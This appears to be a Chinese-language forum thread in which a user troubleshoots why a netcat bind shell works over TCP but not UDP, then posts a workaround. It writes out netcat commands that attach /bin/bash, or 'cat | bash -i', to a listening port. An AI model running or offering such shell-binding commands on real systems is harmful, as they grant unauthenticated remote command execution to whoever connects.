不点 发表于 2019-5-18 12:01:54

nc用udp为何不能正向弹shell?

正向弹 shell,用 tcp 是成功的,如下:

服务器端:nc-lvvp 7777-e/bin/bash
客户端:nc192.168.xxx.xxx7777

用 udp 就不行了,如下:

服务器端:nc-u-lvvp 7777-e/bin/bash
客户端:nc-u192.168.xxx.xxx7777

是 nc 的 bug 吗?

有人遇到过这种情况吗?我是在 Linux 下做的。不知 Windows 下用 udp 能否正向弹 shell。

不点 发表于 2019-5-18 12:26:18

本帖最后由 不点 于 2019-5-18 13:54 编辑

搞定了,原来是参数顺序不对。如下就可以了:

服务器端:nc   -l-p7777-v-v-u-e/bin/bash
客户端:nc-u192.168.xxx.xxx7777


更正:

也不是参数顺序问题,可能是 udp 不可靠带来的问题。用下面的 workaround 就好了:

服务器端:nc    -luvvp    7777    -e    "cat   |   bash   -i   2>&1"
客户端:nc   -u   192.168.xxx.xxx   7777

客户端运行后,要(随便)敲入一行命令(这行命令,服务器不一定能够来得及执行它),服务器端才会显示连接上了。此后就正常了。

实在不清楚为何 cat 能够正常收集 udp 字符串,而 bash 自己却不行——这里好像也有某些隐藏的秘密。

页: [1]
查看完整版本: nc用udp为何不能正向弹shell?